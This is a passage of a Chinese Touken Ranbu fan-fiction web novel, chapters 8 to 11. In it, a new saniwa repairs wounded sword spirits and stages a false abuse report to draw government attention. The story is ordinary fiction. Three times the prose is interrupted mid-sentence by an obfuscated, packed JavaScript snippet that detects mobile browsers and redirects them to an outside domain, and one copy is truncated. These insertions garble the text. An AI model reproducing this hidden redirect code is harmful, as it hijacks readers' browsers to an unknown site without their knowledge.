他很在意那群付丧神们的批发轻伤。那样的真伤不管是在本丸切磋还是在演武场练习都是做不出来的,总不能他们闲得没事干在本丸互砍。 那么唯一能造成这样情况的,就只有出阵了。 他想翻翻以前刀剑们自己安排出阵队伍的记录,看看到底是去了目前还力所不能及的历史,还是因为别的什么。 前一位审神者离开时间不长,记录并不多,寥寥十几张纸页,很快就看完了。 看完之后,他陷入了沉思。 如果按照游戏的方法来解释,就是他们现在的实力上限只能在5图转圈,但是他们不在5图刷经验,却要去推6图。 6图——池田屋,全是夜战,太刀与大太刀进去就等同于睁眼瞎。而他们坚定地每次推图都至少要带两位睁眼瞎。 今天是太郎太刀与次郎太刀,伤了之后遗憾撤退,明天就是髭切与膝丸…… 清水悠越看越感到迷惑,这到底是有兄弟情结,还是只是单纯不想出阵所以用这种方法敷衍……或者抵制? 受伤之后,回到本丸也因为三日月宗近所说的那个理由而不疗伤——当然,清水悠知道那多半只是拿来忽悠自己的。于是受伤的刀剑就越来越多,到了昨天,已经伤完了一圈,导致只能开始从最开始的配队开始循环出阵。 如果是为了不出阵所以故意受伤的话,已经循环至开头,依然在继续出阵推6图,这样做也就没意义了。 并且,除了这一大片伤刀以外,还有八振专注远征的刀剑——是的,昨天清水悠喊来的那些伤刀,除去出阵与远征的以外,就几乎是这个本丸的全部刀剑了。 这八振刀剑轮流远征,并不出阵,因此也没有受伤,倒是完完整整的。 但是这样就让这个本丸的情况更加扑朔迷离了。 清水悠放下记录,按了按眉心。 “……伤刀……”青年低声喃喃,回忆起自己昨天没有治疗的那几振出阵回来的刀剑,拿出刀帐翻了翻。 翻找之后,刀帐最终摊开在其中一页。 ——压切长谷部,【中伤】。 8. 第8章 压切长谷部在醒来之后,在床上无所事事地发呆一会儿,慢吞吞下床进行洗漱。 作为一振主控刀,他习惯了在平时围着审神者转。不管他是不是近侍,他没在审神者身边的唯一可能性就是他有别的事要做。 出阵、远征,或者内番。 而当这个本丸失去了最初的审神者,他就突然变得无措起来。没有审神者,他需要做的事情没有很多,本丸的氛围也变得奇怪起来,没有人还有心情社交玩乐。 压切长谷部没有兄弟,没有关系特别好的朋友。于是在没有任务分配给他的时候,他基本只能坐在房间里发呆。 ……再这样下去,刀都会变钝吧? 他慢慢地换好衣服,又自嘲地想,或许他们也不会等到那一天的到来。 这个审神者来了,但很快他一定就会离开。之前有一次狐之助从时政回来,很多人都看见它神色焦虑,大概这一位也走之后,他们就将面临终局。 动作不小心大了一点,撕扯到身上的伤口,他低低地嘶一声,立刻小心了很多,避免血渗出来将衣服弄脏。 刀剑付丧神和人类不同,他们可以通过手入进行快速复原,同样的,不进行手入,他们的伤势就不会好转。 若是轻伤在本丸的灵力环境中待久了,还可以慢慢转好,但中伤往上就不行了。 压切长谷部穿好衣服,打开门,来到走廊上坐下来。 他不打算去手入室。 没有审神者的时候,他们都没去修复,现在审神者来了,而且听说昨天给别的伤刀每一个都进行了手入,对他们显然是故意不理会。 手入室是属于审神者掌控之下的。既然审神者也不打算修复他们,他自然不会去自讨没趣。 他坐在走廊上,盯着院子里熟悉的场景,又开始发呆。 昨天审神者接过了日课的安排工作,在今天早上,近侍鹤丸国永把任务送到每个人的手里,没有来找他。 也就是说,他今天没有任何事可做。 ……那么,又是乏善可陈的一天吗? 清水悠来的时候,看到的正好就是这一幅画面。灰棕发男人一动不动坐在檐下,似乎专心致志看着眼前的什么,但仔细看去,他的眼睛没有聚焦,一片空茫。 清水悠挑了挑眉。 看起来很无聊的样子。 也是,别的刀哪怕孤立审神者不出来露面,却也有同刀派的刀剑男士住在一起,几个人在院子里哪怕只是喝茶聊天都不会无聊。但这些没有兄弟的刀剑就只能在自己的屋子里没事可干了。 感觉敌伤八百自损一千呢。 清水悠已经走到了门口,压切长谷部不知在想什么,分明侦察不算是多弱的那一批,却到这个范围内都还没察觉到他的到来。 不过他不知道的是,这一点倒不能怪压切长谷部。审神者身上的灵气与空气中灵气相同,而时政将审神者转化为雾气的保护手段,实际就是将他们转换为纯灵力体。 当一团只是浓郁一点的灵力混在灵力中时,不仔细去注意,本就很难让人发现。 “咚、咚。”清水悠抬手敲了两下身侧的门框。 压切长谷部立刻抬起头来,见到他的到来,脸上浮现出惊讶。 他立刻站起来,想说什么,又意识到自己不应太过热切。憋了两秒之后干巴巴地问道:“审神者大人……来这里做什么?” 清水悠没回答,他走进门,停在压切长谷部面前,上下扫视他一眼:“没有包扎处理吗?” 包扎虽然不能让伤口恢复,但至少不会让人显得那么狼狈。 一般来说,是由药研藤四郎来担任那个类似于医生的位置。 他记得这振短刀在他昨天修复的轻伤大军之中。 压切长谷部一哽,支支吾吾半天没回答出个所以然来。 清水悠也不在意他的答案,就像只是走流程地随口一问。他很快来到了下一步:“抱歉,昨天忙了一天比较累,所以没来得及给你们手入。现在把刀给我?” 压切长谷部一愣,随后也没犹豫,将佩刀解下递给他。 审神者没有继续问刚才的问题,让他心里松了口气。 不然他实在不知道该怎么解释,在昨天别的出阵队友去找药研处理伤口的时候,他因为想到没人去给新来的审神者做饭,进而开始思考如果他不会做饭的话会不会饿肚子,越想越觉得寝食难安,于是匆匆忙忙跑去了厨房,正好看到吃完饭的新任审神者。 等到离开时,药研那边大概也已经结束,于是也不好意思去找了。 他胡思乱想着,垂眸看着审神者坐下来,将他的本体刀抽出。他并不担心审神者拿他的刀会去做什么坏事,灵力基本上能说明一个人的性格,新审神者的灵力澄澈干净,化为的雾气颜色更是罕见的白,怎么看都不会是坏人。 并且,能够来到他们这样毫不配合的本丸的,本就是带着想要拯救的善意来的吧? 可惜他们无法继续回应。 压切长谷部感到有些愧疚。 只是当他一边走神一边盯着审神者的一举一动,随着时间流逝时,很快就觉得自己有些愧疚不起来了。 清水悠就像一个新学者一样,动作放得很慢,像是怕做快了出错,连灵力的输入都变得很谨慎。 但这就苦了压切长谷部,这样缓慢的灵力输入减小了手入时应有的舒适感,导致他身上伤口愈合时密密麻麻的痒意变得明显。身上的小伤口不少,于是愈合过程中只感觉浑身上下都在被蚂蚁啃食,并不疼,却比疼还让人难以忍受。 压切长谷部的神色变得古怪起来。 但他没有出声,清水悠也没有抬头,依然按照这个节奏继续做着,时不时还停下来,像是在回忆流程。 时间一分一秒过去。 等到一切终于结束之后,压切长谷部忍不住吐出一口气,清水悠将刀收进刀鞘,这才恍然抬头,看见他一脸的汗,讶然道:“你这是怎么了?” 他想了想,用担心的语调道:“因为我的技术不好让你感到难受了吗?” 不管从哪个角度,压切长谷部都解释不出口。他摇了摇头:“……不,没有。您能特意来替我进行手入,我非常感谢。” “如果不舒服,可以直接告诉我,”清水悠的神情依然不是很相信,甚至露出了几分愧疚,“抱歉,我学艺不精……等下我会回去再钻研钻研的。” 压切长谷部看着他,嘴巴张张合合,却一句话也没说出来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14511106|155030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当审神者表露出这种对他的感受十分在意的态度时,他总是会难以控制地慌神。他很想告诉审神者这当然不是他的错,每个人在学习新事物时都会有一个过程,他能来帮忙他已经很感激了。 但他一句话也说不出口。 他记得自己和同伴们进行商量之后的打算,他们不会接受任何一个新的审神者,要想办法让来帮忙的好心审神者自行离去让他感到很折磨,但他认为这些好人应该拥有属于自己锻造出的衷心的刀剑,而不是手下是一群忘不掉前任主公、无法彻底尽心的付丧神。 所以他说不出宽慰的话,他不能让清水悠觉得有希望。于是最后也只是摇了摇头,不再言语。 看来是没有新回答了。清水悠见好就收。 他当然不是学艺不精,他学东西向来很快,但凡长谷部有和昨天的任何一振刀剑进行过交流,都会知道现下的这一切不过是审神者故意而为。 压切长谷部是最好突破的一振刀剑,每个本丸的付丧神都因为锻造出他们的审神者而导致性格有所不同,只有压切长谷部是特点最稳定的一位。 只要没有经历过精神折磨之类的事情导致性格扭曲,他就永远是最容易对审神者心软的刀剑付丧神。与滴水不漏的老年人不同、与多变的短刀们也不同,想要从这个完全对清水悠防备的本丸挖出消息,他就是最好的突破口。 所以他来找他了。 故意放慢动作是为了小小给他们一个教训,毕竟对于一个向来珍惜刀剑的审神者,他们不爱惜自己的行为实在让他感到生气——他们的前任审神者想来也无法接受这种行为,但他无名无分,无法管教,所以只能以这样的方式,发泄一下自己心中的憋气。 之后的装可怜试探,则是顺势而为。 看得出来压切长谷部动摇得很明显——有动摇就好办。这说明他们一致对抗外界的理由并不那么坚定到必须执行。 他可以排除一些比较复杂的情况。 清水悠把置于膝上的打刀双手拿起,还给压切长谷部。后者身上的伤口已经消失了,但是蹭到衣服上的血迹却不会一同消散。 他盯着那些脏污处看了一会儿,压切长谷部很快就不太适应了——他不习惯将自己不完美的一面暴露在审神者面前。他出声问道:“有什么问题吗,审神者大人?” 清水悠忽然伸手,摸了摸他衣服上的血迹,已经干涸了。 压切长谷部吓了一跳,立刻退开一步:“您这是做什么?要是脏了您的手……” 清水悠摇了摇头。 他忽然听到什么动静,转头往天守阁的方向看了一眼,然后重新看向压切长谷部,诚恳地问道:“我不太清楚你们有几套衣服。但是既然这一身已经脏了,作为我没有及时给你手入才造成这种结果的赔偿,我带你去万屋买一套新的怎么样?” 压切长谷部没有第一时间回答。 他紧紧盯着审神者的手——在保护措施下,当审神者主动伸出手时,那一截手臂会暂时凝实,让人得以看清,这是为了在某些时候进行一些必要的指挥。 而现在,审神者拈了拈刚刚摸过他衣服的食指,尽管知道这只是为了判断衣服上的血迹干没干的举动,压切长谷部的脸上也不由得出现一抹呆滞。 9.第9章 “长谷部?”等了半天没等到回答,清水悠疑惑地问道。 压切长谷部如梦初醒:“我在!” “刚才的问题,”清水悠并没追究他的走神,“你怎么认为呢?” “啊、嗯?”压切长谷部迷迷糊糊就点了头,“您说了算。” 锻造出他的审神者性情温和,但和他们相敬如宾,从来没有做过这样亲近的举动。 因此压切长谷部才被吓了一跳。 他回答问题的时候其实还没完全回过神来,因此直到听话地跟着审神者走了之后,他才突然想起来。 ……刚刚审神者问他的,是什么问题来着? 成功轻松拐走一振打刀,清水悠心情愉悦。他没去细究压切长谷部当时究竟在想什么,就算是他也不可能清楚刀剑们和前主平时的相处习惯。 他带着压切长谷部回到天守阁,一进门就看到正靠在门边等的鹤丸国永。见到他回来,白鹤立刻抬起眼:“回来啦?……呀,这是出去带特产回来了吗?” 压切长谷部:“……鹤丸殿。” “哈哈哈、好啦,我不说就是了。”鹤丸国永笑了笑,“刚刚回来就看见屋里变得空空如也了,可是吓了我一跳呢。” 清水悠闻言,掀了掀眼皮看他:“担心我?” “那当然啦。” “审神者在本丸难道也会遇到危险吗?”清水悠勾了勾唇角,仗着对方看不见自己的表情,半点没有掩饰脸上的愉悦,“可不要吓我啊,我胆子很小的。” 鹤丸国永动作一顿,深深地看他一眼,依然什么情绪都没表现出来:“哈哈,你这是想到哪里去了?只是因为你初来乍到对环境不熟悉,担心你迷路而已哦。” “是吗?” 清水悠很配合的没有追问。 他向鹤丸国永确认了日课已经安排下去,就让他自己玩去,然后带着压切长谷部往时空转换器的方向走。 审神者转过身后,鹤丸国永朝压切长谷部看了一眼,后者却没再与他对上视线。鹤丸国永挑了挑眉。 灰棕色头发的男人跟上审神者的步伐,默默无言地只直视前方。 一路上没有遇到别的付丧神,当然也不可能遇到。等到两人在时空转换器前停下,清水悠回头看去时,敏锐地注意到对方浑身肌肉绷紧。 看起来很紧张。 清水悠咬了咬口腔内壁的软肉,什么都没说,只提醒道:“过来,站好。” 准备完毕后,光芒一闪,两个人的身影消失不见。 - 作为唯一的交易空间,万屋是时政管理下少有的能与别的本丸人员相见的地方。 由于在时政操作之下,如今刀剑付丧神们的不唯一性,一条街上甚至可以同时出现好几振同样的刀剑。稀有刀数量不多,更多的还是那些容易获取的刀剑。 压切长谷部就是其中一振。 十分适合担任近侍的刀剑仅有寥寥几振,他正好也是其中之一,因此在万屋里,审神者与压切长谷部走在一起是再常见不过的一个组合。 但这仅限于正常情况之下。 万屋的街道上,不知从什么时候起,有一部分人开始似有若无地看向路上经过的两人。 准确来说,是看向那振压切长谷部。 他看起来完好无损,身上没有任何一个伤口,衣服却有许多道看起来还新鲜的血迹。 他跟在审神者的身侧,自动落后半步,与他的审神者之间没有任何交流。若有善于观察的人仔细看去,还会发现他的表情略微僵硬,肢体语言表达出他其实想要和审神者拉开距离,却又迫使自己紧紧跟在对方身后。 有几个审神者慢慢停下脚步,动作犹疑,不知是想到了什么。 在他们的视线中心,那可疑的二人似乎对他们的视线恍若未觉,依然步调不变地往前走。然而实际上,压切长谷部额角慢慢冒出了细汗,清水悠却借着保护措施的便利,在别人观察自己时,他也在观察别人。 看起来已经有人产生了怀疑,但都还暂时没有动作。看来这种程度还不够。 还要再加上一把火。 清水悠略略思考一下,就忽然回头喊道:“长谷部。” 压切长谷部注意力全在周围人对他的观察上,正满心都是自己此刻不雅的造型,恨不得钻进地洞里。猛然听到叫他的名字,他狠狠吓了一跳,这才想起自己现在还跟在新审神者身后,对自己的疏忽感到恼恨,深吸一口气才压下情绪看过来:“怎么了,审神者大人?” 旁边立刻有离得近的短刀听见,迅速转告给了自家审神者——这个长谷部没有叫主人! 再加上刚才被叫到名字时,他的表情有一瞬间变得很难看,直到深吸一口气之后才像努力忍下了什么,故作镇定地回复…… 周围的审神者有一瞬间思绪同频,这个审神者到底是做了什么过分的事,才能让压切长谷部这振打刀都对他忌惮至此、连回复都要仔细斟酌?! 当下就有人忍耐不住,在自家付丧神的遮挡之下,偷偷取出通讯器往时政报了信。 他以为自己的举动并不明显,却不知这一切都在清水悠的视线范围之内。黑发青年微不可察地勾了勾唇角,这才继续自己的话:“我记得,你和烛台切住得很近?” 压切长谷部没料到这个问题,愣了一下:“是的。” “那等你回去,”得到了肯定的答案,清水悠便回身继续向前走去,“去帮我叫他一下,让他来天守阁。” 这话落在周围人耳里,就是他决定下一个对烛台切光忠出手。 一群人一边害怕只是自己的猜测误会,一边又觉得这两人之间状态实在不对,叫时政查一下不亏。于是一时之间,盯着清水悠的目光中情绪十分复杂,带着一大半惯性思考之下对他口中烛台切的担忧。 清水悠达到了目的就没再管他们,慢悠悠在万屋街道逛了逛。他很久没出门逛街过了,不过万屋中与现代景象有所不同,他若是想找找曾经自由出门的感觉,在这里恐怕只能感受到物是人非。 好在他只是单纯想逛逛。 在万屋中购物需要用到小判或者甲州金,小判是付丧神们出阵与远征带回来的,存款属于这整个本丸,清水悠不会去动用。因此他只带了自己入职时发放的甲州金。 入职补贴其实少得可怜,但他是来接手这个难搞的本丸,于是当时狐狸给他申请了更高额的补贴,以甲州金与小判的兑换比例,至少在万屋逛街购物一次是毫无压力的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14529782|155030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >压切长谷部不知道这一点,之前来的审神者们没有出过门,他们并不清楚审神者补贴的数目。 所以他摸了摸自己的衣兜——正巧这一套衣服里揣了一点小判,是以前去万屋购买资源剩下的,他决定等到要付款的时候,就告诉审神者还是自己来好了。 然而这个决定刚下完不到五分钟,他就意识到自己做不到。 审神者根本没看那些平价的店铺,在万屋转了一圈熟悉地形之后就直奔轻装店。这里的衣服与平常如同替换装不同,它必须使用甲州金购买,压切长谷部兜里那点小判根本拿不出手。 他巴巴跟在审神者后面,看审神者话语简单地与店员交涉,他好几次想开口都插不进嘴。等到审神者终于注意到他似乎有什么话想说,已经是付完款出门之后了。 “长谷部?有话想对我说吗?”清水悠声音疑惑,明知故问。 压切长谷部张了张嘴,看着已经提在审神者手里、被包装好的轻装,只觉得想说的话变得徒劳又苍白,最后只弱弱道:“那个、我觉得……” 大概是因为声音太轻,审神者完全没听清他说的话。他露出忽然想起来什么的样子,将手中纸袋递给压切长谷部:“啊,抱歉抱歉,是我忘了,来给你买衣服本来就是要让你不再穿这身脏衣。我进去和店员说一声,你把衣服换了,我们再回去吧。” 压切长谷部的话被堵了回去,他看着袋子里崭新的衣装,再说不出什么来了。 付丧神进去换衣服的时间,清水悠就等在店门口。他望望天色,停止自己时刻未停的数时间的举动,低声喃喃道:“应该快来了吧……” 话音刚落,街道另一边传来骚动。 人群纷纷让开,几个政府执法人员最终停留在清水悠的面前。为首的那一位确认了一下他的身份信息,对他说道:“你好。我们收到举报,有人看见你有疑似虐待刀剑付丧神的行为,请和我们走一趟吧。” “诶?”清水悠在他们停在自己眼前时就站直了身子,神情疑惑,听完这一番话之后更是露出恰到好处的惊讶,“是说、我虐待……刀剑付丧神吗?” 这类事件说多不多说少也不少,但涉及刀剑付丧神,在执法队也是比较重要的一项案件。 于是这次收到举报说是在街上,生怕来迟了扑一个空,执法者匆匆就赶过来了。不过来之后一看见他的灵力颜色,其实就已将这件事一大半归向了误会那一边。此刻见到他毫不知情,表现不像作假,语调更是放柔了几分:“请放心,只是和我们去配合一下调查。若是查出来没有问题,你不会受到任何惩罚的。” 清水悠看着他们,思考了一下,久病使他的肤色苍白,看起来更为柔弱无辜。或许是得出结论之后觉得不会有事,他点了点头,上前一步,“好吧,我和你们走……” 为了防止嫌疑人见到他们之后逃走,执法队来时便是呈半包围形态。此刻清水悠向前走出一步,配合上他纯白无瑕的灵力,在不知情的人眼里,就像小白兔主动走入了大灰狼的包围圈。 ——压切长谷部出来的时候,看到的正好就是这一幕。 他心底一惊,想也没想就冲上前去,一把将审神者拽到自己身后,神色戒备: “你们要做什么?!” 10.第10章 他出现得突然,清水悠小小惊呼一声:“长谷部?” 压切长谷部头也不回地安抚道:“主…审神者大人,你别怕。”他看向眼前来者不善的几人,目光如炬,“我们的审神者才刚入职第二天,想必没时间做出什么违法乱纪的事。请问诸位这是要做什么?” 压切长谷部警惕着,却不知执法队长看见他出现,心里最后一丝疑虑也放下了。 看刀剑男士对审神者的态度并没有什么不妥,审神者愿意在入职第二天就给付丧神购买轻装,想来是不存在什么问题。 他们来之前就提前翻看过资料,知道这是接管的曾拥有审神者的一个完整本丸,甚至是有名的刺头,刀剑付丧神们没有那么容易就接纳新主。因此态度异常大概也是这个原因,才让路过的审神者产生了误会。 他耐心地又解释了一遍,没有漏掉要去总部检查的这一步。虽然他在心里已经排除了嫌疑,但该走的流程还是要走一趟。 压切长谷部在听到原因时神色就慢慢变得呆滞。 他想过很多种可能性。什么都猜测过了,唯一没想到的是,竟然是和他有关。 男人动作僵硬地慢慢将握住刀柄的手松开,意识到自己另一只手还紧攥着审神者,赶紧将手收回。 他的动作简直令迟钝的人都能感受到那分手足无措,清水悠在后面歪着脑袋看着,压切长谷部像是想要回头,清水悠猜测若他们是正常审神者与刀剑付丧神的关系,他或许就要立刻土下座大声道歉。 但他们不是,所以压切长谷部最后也没有回头。 他收起警惕的动作,退到一边站好: “抱歉,请查吧。” 平时低沉的声音变得有几分闷。 清水悠终于忍不住轻轻弯了弯唇角,在执法队长看过来之前便收起笑意,乖顺道:“我需要怎么做呢?” - 例行检查的流程不算复杂,过去半天不到,他们便通过审查,顺利离开执行部。 压切长谷部在路上一直没说话,低气压如有实质。清水悠走出一段路之后,无奈地叹气:“长谷部,高兴一点。” “啊、呃,抱歉。”压切长谷部抬起头,审神者没有停下来,没有与他对视,像是只是漫不经心提了一嘴。这个认知让他忍不住松了口气,“我给您添麻烦了,非常抱歉,这样的我似乎什么也做不好……” 他抬起头,犹豫片刻,下定决心说道:“果然,审神者大人之后还是不用太在意我为好。” 清水悠脚步顿住,挑了挑眉。 他设局可不是为了现在这个反应,亏本生意他从来不做。青年扭头,对他的话置若罔闻,反问道:“如果感到抱歉的话,今天的午饭就交给你了,如何?” ……午饭? 经这一提醒,压切长谷部恍然想起来,他们的新任审神者在这个本丸里,连吃饭都还需要自食其力。 这样的要求再简单不过了,甚至对于压切长谷部来说,只是这点小事根本不足以填补他的愧疚之情。他毫不犹豫地应下,踯躅又渴望地看向审神者,期待他能再说点什么。 但清水悠完全没如他所愿。他得到了这个承诺,心情就好像已经变得极好,很快继续往前走去,连步调都变得愉快。 这未免也……太好满足了? 压切长谷部脚步慢了一拍,指甲不自觉陷进肉里。 回到本丸的时间很巧,正好是中午十二点出头,吃午饭的时间。清水悠感知了一下本丸的情况,察觉到出阵的队伍就在前一步回来,清水悠但凡速度再快点,就能正好碰个面对面。 不过如果要去追的话,现在其实也还能追得上。 清水悠没这个打算。 他查看了一下刀剑付丧神们的状态,今天的出阵图是他挑选的,保证可以只练级不受伤——除非遇到检非违使。 但是巧的是,由于在此之前他们只热衷于往后推图,并没有在这个时代停留太久,因此这里绝不会出现那种东西。 是绝对安全的场所。 没有任何一个人受伤,清水悠心情更好了几分,他不顾压切长谷部在身后的欲言又止,忽然想起了什么似的:“对了,昨天出阵的其他几位还没有做手入……” 他下意识想要查看地址,又有些迟疑,看着自己的手,“……不过,我是不是还需再去练练技术?但是那样的伤势一直拖着想必不会好受吧?” 压切长谷部立刻上前一步:“没关系的,大人。”他知道自己当时的表现已经暴露,于是也不说什么谎话去欺骗,“这种程度而已,对我们来说不算什么。” 他这么一想,又意识到自己不仅添了麻烦,还让审神者失去了自信。一时心底的情绪涌起,又无处可泄,如蚁虫啃食般在心底泛起密密麻麻的自责。 “是吗?”审神者想了想,不知是信了他的话,还是觉得那些人的伤势不好再拖了,最终下定决心点了头,“既然如此,我去找他们一趟。长谷部,午饭就拜托你了?” 压切长谷部本想跟着他一起去,这话一出,他生生止住了脚步,“……好的。” 他看着审神者确定了方向,便朝那边走去,在原地站了一会儿,还是去往厨房。 不同于他,那些刀剑一定会给审神者冷遇——这是他们从一开始就说好的,他就算跟去了也改变不了什么。 再说了,这本就是他们想要的,不是吗? ……希望审神者能快些离开吧。 他拢了拢身上的羽织,加快脚步向前走去。 清水悠走在路上,辨别着方向。 他一开始也有纠结过从谁先开始,不过想想这的确也就是普通的手入,他不打算、也没空去多做什么,就顺其自然了。 按照距离远近,第一个要去的,是源氏兄弟的部屋。 在审神者与本丸建立联系后,就能熟知本丸内部的所有情况。但这种清楚与真正走在路上又有所不同,清水悠需要将眼前景象与脑海中位置对上,才能确认下一步方向。 只是他走着走着,开始变得疑惑起来。 他的脚步无意识放慢,仔细看了看四周景象,但是就算看出个洞来,他也依旧什么都没发现。 他应该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14558277|155030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的确是没来过这里的才对。 但是,为什么……好像潜意识就知道下一步该怎么走? 在他确认方向的前一刻,他的潜意识已经帮他判断得出答案。这个时差很小,小到几乎可以忽略不计,若不是他的直觉在报警,他几乎不可能发现。 ……为什么? 清水悠彻底停住脚步,早上时的违和感重新浮现在脑海。 他试图去找出其中的关联,但线索实在太少,可以猜测的可能性有太多,能够确定的猜测几乎没有。更不巧的是,就在这时,前面不远处响起了青年冷静的声音—— “审神者。来就来了,站在门口犹豫什么?” 清水悠抬起头,膝丸站在部屋门口,冷冷看着他。 脑海里有什么一闪而过,他根本来不及抓住就消失不见。他笑了笑,不好意思道:“在确定我有没有走错位置。” 他往前走去,在社交安全范围内停下,看向膝丸:“可以请我进去吗?” 膝丸眉头一皱,立刻就想说些什么,但想起了出门前兄长的交代,他生生忍下了那句话,转身进门。 “跟我来吧,不要乱走。” 一人一刀往屋内走去。清水悠观察着他的伤势,想起源氏兄弟两人的状态。 没有实际看到本人时,他所能看见的状态只有轻伤、中伤、重伤这三个分别。而每一个状态都只是概括了一个范围,在来之前,他看见两人一个轻伤一个中伤,来之后看清楚了才知道,膝丸的中伤已经接近重伤了。 所以他在门口时才是那个态度吧? 他自己的伤他并不怎么在乎,所以想要直接把审神者拒之门外。但髭切在意,所以让他把清水悠放进来。 进了里屋的门,髭切正安安稳稳坐在桌前,抬头冲他们笑。 看到这笑,清水悠平白出了一身鸡皮疙瘩。他一直知道这两对兄弟就是如同他们的衣装颜色一样,一个白切黑一个黑切白。他也知道髭切在某些时候,会是非常危险的存在。 但曾经的认知终究只来源于游戏,他能看到的也只有一个平面的立绘线条,能看见髭切的笑容绵软又温和,此外再无其他。 直到在现实中面对面。 明明两人之间是膝丸看起来更冷酷,髭切给人的感觉才是平易近人的那个,但他在膝丸身边不会有半分危机感,面对髭切却汗毛直立,忍不住仔细去剖析他的情绪。 ……是在抱怨? 因为他昨天将他们冷处理了? 如果是这样倒也不是没可能,毕竟髭切向来任性,只在乎自己的喜乐,从不在意别的。 他在下意识分析情况,膝丸没有兄长吩咐绝不开口,一时房间里倒陷入寂静。髭切盯着新任审神者看了一会儿,但不管怎么看,能看见的都只有一团白雾。 他的眼里闪过一丝莫名的情绪,眼珠微微转动,视线落到膝丸身上。 “弟弟,”他开口说道,声音轻软,眉眼弯弯,“快把刀取下来,交给审神者大人呀。” 清水悠骤然回过神。 ——确定了,是在抱怨。 11.第11章 有那么一瞬间,清水悠诡异地想道,还能阴阳怪气,看起来应该也不是特别生气。 不过他本来就是故意这样做的,因此毫无愧疚之心。他接过膝丸立刻听从命令递来的本体,也不见外地就在髭切对面坐下。 太刀被他放在桌面上,让髭切也能看得清晰,便开始动作利落地输入灵力。 他的动作娴熟,手法很完美。髭切静静看着,没发表什么看法,将手肘撑在桌面上,懒懒地托住了腮。 很快手入结束,刀刃重新变得完整明亮。清水悠仔细查看一遍,确认没再有什么问题,慢慢将刀收入刀鞘。 太刀的形状很漂亮。 此前清水悠只是个普通市民,没见过刀剑实体,到这里之后反倒短时间接触了许多在历史上颇负盛名的刀剑。源氏重宝两兄弟在这些刀里都算是美丽得较为突出的。 他看得有些失神,忘记第一时间将刀交还。 “……审神者?” 膝丸等了一会儿,皱眉出声。 清水悠惊醒过来,道了声抱歉,双手将太刀还给它的付丧神。 髭切看着他,好像笑了声。他慢慢把自己的佩刀也解下,放到桌上:“要看一看我吗,审神者大人?” 他毫不见外,清水悠自然也不和他客气。 他把刀小心地拿过来,确认了一下伤势,又看了看自己带来的资源——膝丸的受伤程度与太刀修复所需资源都有点超乎他的想象,他没办法随身携带太多资源,好在剩下的还算够。 照这样看来,难怪重伤就必须要在手入室修复了。不管是辅助设备还是资源储备方面,都是手入室里要更方便。 他认真的看着,指腹抚过刀刃,冰冷的刀剑泛着寒光,肉眼可见的锋利,让人担忧人类脆弱的手指会不会在下一秒就被划破。 髭切忽然问:“怎么样呢?审神者大人觉得,是我好看,还是弟弟好看?” “兄长?!”膝丸睁大眼,立刻道,“兄长与我身为源氏重宝,外表大概不相上下。但综合来看的话一定是兄长比我更优秀!” “嗯嗯。”髭切笑眯眯地应了一声。 他仍然没放过清水悠,“所以,审神者大人是怎样认为的呢?” 清水悠没理他,他先将手上的手入工作仔细做完。 髭切伤得轻,结束也快很多。等到检查完毕,清水悠收刀入鞘,这一次没有停顿地将刀推回了髭切面前。 髭切依然猫眼弯起:“啊呀。看着弟弟走了神,对我却毫不留情呢。是认为我不如弟弟吗?” “兄、兄长!”这话一出,膝丸瞳孔地震,露出了蛋花眼。 清水悠没回头,却几乎能想象到他是怎样的神态。膝丸平时看着十分稳重可靠,唯独到了自家兄长面前,会如同变了一个人一般。 髭切问他这道送命题大概是想要报复。可惜没想到,他还没给出个反应,自家弟弟已经先被这话砸得手足无措。 “唉呀。”髭切忍不住叹了一口气,“好啦,哭哭丸,聊聊天而已,这么严肃会吓到审神者大人哦?” 膝丸条件反射大喊了一声是。 在他们交流的时间,清水悠的食指一直在大腿上轻点。等到髭切重新看过来,他停下动作,笑了笑:“这么问实在让我有些不好意思了……抱歉,因为没有见过这么美丽的刀,一时看走了神。一定要说的话,两位都很符合我的审美,我都很喜欢。” 送命题就这样不轻不重地被顶了回来。 还附带一个真诚的表白。 髭切的表情依然看不出什么变化,膝丸却有些不自然起来。 清水悠继续说道:“那么,我今天来此的任务就结束了。还有别的需要帮忙的吗?没有的话,我就要去找下一个付丧神——长谷部准备了午饭,要在中午之前结束呢。” 长谷部呀…… 身侧弟弟似乎已经不太能继续绷住冷漠的气场,审神者又有充足的立刻离开的理由。 啊、这么一看,那还是算了吧? 毕竟也算是功过相抵了呢。 清水悠以为按照髭切的性子,还要再拉扯一会儿。不过后者很快松口了,还问了他下一位要去找谁,贴心地给他指了路。 清水悠对了对脑内地图,发现指的路没有问题。 